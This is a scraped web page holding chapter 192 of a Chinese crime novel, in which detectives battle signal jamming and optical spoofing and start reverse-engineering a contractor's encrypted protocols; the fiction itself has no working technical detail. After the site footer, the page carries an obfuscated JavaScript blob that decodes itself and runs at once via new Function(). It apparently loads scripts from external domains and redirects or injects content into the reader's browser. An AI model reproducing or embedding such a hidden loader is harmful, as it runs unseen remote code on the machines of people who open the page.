- 首页
- 灵异
- 回溯刑警破黑局风云
- 第192章 技术难题需攻克(第1页)
第192章 技术难题需攻克(第1页)
章节目录保存书签
车队停在电力井口外五百米的地方,夜色沉得像化不开的墨。远处城市的光星星点点,巷子两边的老楼歪歪斜斜地立着,墙皮一块块剥落,窗户也歪了,电线乱七八糟地缠在楼与楼之间,像一张张蜘蛛网。空气又湿又闷,还带着一股铁锈味和地下管道渗出来的霉味。车子还在低低地响着,车灯一灭,整支队伍就被黑暗吞没了。我攥着对讲机,手心全是汗,指尖都有点发抖。耳机里传来赵勇压低的声音:“井盖有松动的痕迹,周围没监控,但地上有拖拽的印子,往南边排水管去了。”他声音很冷静,可我还是听出了一丝紧张——那是干了多年刑警才有的直觉。我看了一眼手表,十一点零六分。距离我们锁定那个地下信号节点已经过去十七分钟。时间不长,但足够一场精心策划的撤离完成收尾。李悦坐在副驾驶位上,手指飞快地敲着笔记本电脑的键盘,屏幕上的绿色数据流不停跳动,像是小溪一样流淌,可数值忽高忽低,总不稳定,好像被什么东西干扰着。“别下去。”我按下通话键,语气尽量平稳,“里面情况不明,说不定是陷阱。那辆车是不是真在里面还不知道,贸然进去只会打草惊蛇。”风从巷口吹进来,掀起了车顶的帆布帘。几秒后,耳机里才响起赵勇的声音:“明白。”他没多问,也没反驳。他知道我在想什么——这不是一次普通的搜查,而是一步踏进了一场由技术和幻象织成的迷局。我没急着下令撤退,只是盯着前方雾蒙蒙的巷口。刚才我们在幸福街看到的那个影子……不是人投下的,而是被人造出来的。它出现在监控里,却没有留下任何物理痕迹;它的移动方式也不正常,就像凭空出现的一帧错误画面。如果对方能操控视觉信息,那这个井口本身,也可能是个圈套,专门用来引我们暴露行动路线、记录我们的反应模式。我闭上眼睛,脑子里快速回放过去七十二小时的所有线索:周德海失踪前说他总听见一种奇怪的电线嗡鸣声,频率特别稳定;陈秀兰在小区垃圾站捡到一个没有品牌的u盘,插进自己电脑后系统直接崩溃重启;林振宇是在凌晨巡逻时拍下一段模糊视频,角落里闪过一个荧光符号,长得像无限循环和电路图拼在一起的样子,之后他就失联了。三个人,三个地方,三种不同的接触方式,却指向同一个方向:有人正在用一种远超普通电子战的技术手段,悄悄抹去现实中的“存在”。回到技术室时,墙上的钟指着十一点三十九分。这间屋子原本是社区警务调度中心,现在被临时改成我们的指挥点。李悦把设备搬上操作台,迅速接入原始数据流。她动作利落,每一根线都接得准确无误,仿佛她的手指早就记住了每个接口的位置。赵勇脱下外套搭在椅背上,一句话不说地站到她身后,眼睛紧紧盯着主屏幕上不断刷新的日志。他个子高,肩膀宽,常年跑外勤让他身上有种让人安心的沉稳气质。此刻他双臂抱胸,眉头微皱,显然也在努力从那些跳动的字符中找出破绽。我走到白板前,拿起记号笔,在中间写下两个字:“看得见,不一定真实。”然后画了三条线。第一条连向“屏蔽车厢”:绿源再生资源的厢式货车具备强磁屏蔽功能,普通追踪信号穿不透。这种车本该用于运输精密仪器或医疗样本,却被频繁出现在案发现场附近。更奇怪的是,它们每次出现的时间,刚好和通信中断同步。第二条指向“光学干扰”:全息投影加上空气折射控制,能在现实中制造虚假遮挡区,骗过肉眼和摄像头。这不是电影特效,而是最近悄悄兴起的“大气调制技术”,通过局部加热空气改变光线路径,实现动态隐形。我们曾在南湖公园的路灯顶端捕捉到一次短暂蓝光闪烁,正是系统启动时的能量余波。第三条标注“信号伪造”:dsss扩频调制、动态跳频、量子噪声混淆……现有解码器根本跟不上节奏。这意味着敌人不仅能隐藏目标,还能篡改信息系统里的事件本身——让你看到的“真相”其实是假的。“我们现在面对的不是藏人。”我说,“是藏‘发生过的事’。他们不让系统看见,也不让我们看见。”赵勇点点头:“所以不能靠眼睛,也不能靠常规设备。得换个思路。”话音落下,屋里安静了几秒。只有服务器风扇发出低沉的嗡嗡声,像是某种隐藏生命的呼吸。李悦突然开口:“我已经试了三种反制程序,全都失败了。解码延迟平均四十七秒,等我们还原信号,人早就转移了。”她调出一组对比图。左边是正常监控画面,右边是干扰后的同一场景。表面看差不多,但在逐帧分析下,背景中一棵树的轮廓在中断瞬间发生了细微偏移——像是被谁轻轻推了一下。“这不是简单的卡顿。”她说,“他们在用算法重构影像。哪怕只持续半秒,也能把真实动作覆盖掉。比如一个人被抓走,下一帧就变成他还蹲在原地。”,!我盯着那棵树的边缘,脑海里浮现出南湖公园路灯闪过的蓝光。那时我用了能力,才勉强察觉异常。但现在不行,现场太复杂,贸然使用只会让自己陷入被动。所谓“能力”,不是超能力,而是我在特殊训练中练出来的一种高度专注状态——通过调节脑波进入接近直觉预判的感知模式。在这种状态下,我能以毫秒级精度分辨图像序列中的逻辑断裂点。但它消耗极大,还容易被反侦察技术捕捉生物信号。“你能不能绕开他们的加密?”我问。“很难。”她摇头,“协议结构变了。以前是明文加固定密钥,现在每层都嵌套伪装头文件,像洋葱一样。我刚拆第一层,系统就自动终止进程,还触发了本地警报。”“说明他们在防逆向。”赵勇皱眉,“连拆包都会被发现?”“不只是发现。”李悦敲了敲键盘,“他们会知道是谁在拆,从哪个终端发起的请求。如果我们继续强行破解,可能会暴露整个内网ip段。”办公室一下子安静下来。我知道她在担心什么。一旦警局的技术平台被标记,后续所有行动都会被预判。对方不是普通黑客,而是熟悉市政系统架构的人,甚至可能亲自参与过这些项目的建设。恒安智联这个名字,三个月前就出现在调查报告里——他们是全市七个片区监控升级工程的承建商,掌握着绝大多数前端设备的底层权限。我转身面向白板,重新写下三句话:必须看得穿屏蔽。必须分得清虚实。必须跟得住移动。“这是我们接下来的目标。”我说,“不求马上破案,但要把工具造出来。没有合适的枪,就别想着上战场。”赵勇看了我一眼:“你是说,先停手?”“不是停,是换方式。”我走到李悦旁边,“你现在最需要的是什么?”她盯着屏幕,眼神都没动:“时间。还有样本。”“样本指的是?”“恒安智联过去承建的项目协议。”她说,“他们做过七个片区的监控升级,每一套系统都有独立通信模块。如果能找到其中任意一个未加密的调试接口,或者早期测试版本的固件包,我就有可能反推出他们现在的加密逻辑。”我点头:“名单我已经让技侦科整理了,一会儿发你邮箱。重点查那些老旧小区改造工程,尤其是去年完成验收的。”“还有一个问题。”她补充,“就算我能建模模拟,也需要高性能计算支持。现有的服务器撑不住这种级别的运算负荷。”“你要什么配置?”“至少八块gpu并联,内存不低于一百二十八g,还得隔离运行环境,防止数据泄露。”我看了看表,十二点十七分。距离地下管网的最佳侦查窗口还有不到六小时。时间不够等上级批采购单。“赵勇,联系后勤组,把最近半年报废的技术装备清单拿过来。”我说,“看看有没有符合要求的机器,能拼就拼,能凑就凑。”他应了一声,转身出门。李悦已经开始准备离线环境。她拔掉了主机的外网接口,插上独立电源,又从柜子里拿出一块老旧的加固硬盘,标签上写着“k-7备份·未格式化”。这块硬盘来自一台被淘汰的巡检车控制系统,本该半年前销毁,因档案遗漏留了下来。“这里面有些东西还没彻底清理。”她低声说,“也许有用。”我站在她身后,看着她打开十六进制编辑器。屏幕上滚动着密密麻麻的字符,黑白底色映出她专注的脸。突然,一段代码引起她的注意——开头是“ha_2021”,后面跟着一串校验码。“恒安智联的签名标识。”她说,“他们在协议底层打了水印。”她顿了顿,迅速选中这段代码,复制到新文档中。“我可以拿这个做种子,尝试重建他们的开发框架。”她抬头看我,“但七十二小时内必须完成模拟测试,否则一旦他们更换协议版本,线索就断了。”“给你时间。”我说,“其他事我来扛。”她没再说话,戴上降噪耳机,双手放回键盘。主屏幕分成三个窗口:左侧是信号日志,中间是协议解析界面,右侧正在加载三维建模环境。她启动第一个拆解流程,进度条刚开始爬升,系统就弹出红色警告——“检测到异常访问行为,进程已终止”。她咬了下嘴唇,关闭提示,切换至手动模式,逐行删除伪装头文件。第二次尝试开始。进度条走到百分之十三,再次中断。第三次,她改用虚拟机嵌套运行,终于撑到了百分之二十六。汗水顺着她的额角滑下来,滴在键盘f键上。她抬手擦了擦,继续输入指令。我在旁边坐下,打开案件文档,一条条核对三名失踪者的背景资料。周德海是退休电工,住在老城区,家里全是自制电子装置;陈秀兰是社区志愿者,负责垃圾分类巡查;林振宇是物业安保,夜间值班时失联。三人毫无交集,社会关系简单,唯一共同点是都在近期接触过市政维修车辆或施工区域。,!更重要的是,他们都曾无意中碰过某些“不该存在的设备组件”。李悦忽然轻声说:“找到了。”我立刻抬头。她指着屏幕一角:“这个频率段,860hz,不是随机选的。它刚好避开所有市政雷达监测波段,又能穿透混凝土墙体。而且……”她放大波形图,“每次干扰启动前,都会有一次极短暂的能量预充,持续3毫秒,像是某种启动自检。”“就像设备开机前的自检?”我问。“对。而且每次都在同一时间点触发,误差不超过01秒。”她调出时间轴,“这不像远程遥控,倒像是内置定时程序。”我盯着那条微弱的脉冲线,脑子里冒出一个念头:如果设备是自动运行的,那就意味着布设者不需要实时操控,只需要提前安装,设定好时间,就能完成整套干扰流程。这意味着,他们已经在更多地方埋下了同样的装置。我站起身,走到白板前,在“已知三点”之外,又画了五个空圈。“我们只知道三起案子。”我说,“但他们可能已经准备了八个、十个,甚至更多。”李悦的手指停在键盘上方。赵勇这时推门进来,手里拿着一张打印纸:“报废设备清单。有两台旧工作站符合条件,gpu还能用,就是电源模块坏了。”“修。”我说,“今晚必须修好。”他点头,转身又要走。“等等。”李悦突然开口,“别走远。我可能需要你帮忙搬设备。”赵勇应了一声,把纸放在桌上。我最后看了一眼主屏幕。逆向分析进程重新启动,这一次,她改用了分段加载的方式,避开系统检测机制。进度条缓慢前进。百分之五。百分之八。李悦摘下一边耳机,对我说:“如果他们真的在多个点位布设了这种装置,那我们的每一次出警,都可能被记录、被分析。”我点头:“所以我们不能再按常规流程走。”她深吸一口气,重新戴上耳机。手指落下,敲下回车键。屏幕上的进度条跳动了一下,继续向前爬行。窗外,天色仍黑,但东方已泛起一丝灰白。晨雾还未散去,街道依旧空旷。然而在这座城市的地下深处,某种精密而冰冷的机制正悄然运转,如同潜伏在血管中的病毒,等待某个预设时刻爆发。我知道,真正的较量才刚刚开始。我们必须在他们发动之前,看清那些看不见的东西。:()回溯刑警破黑局风云
上一章章节目录下一章
温馨提示:按 ←键 返回上一页, 按 →键 进入下一页,不需要加入书签,进入阅读记录方便您下次继续阅读。
回溯刑警破黑局风云所有内容均来自互联网,126文学网只为原作者舞风腾云的小说进行宣传。欢迎各位书友支持舞风腾云并收藏回溯刑警破黑局风云最新章节。
!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();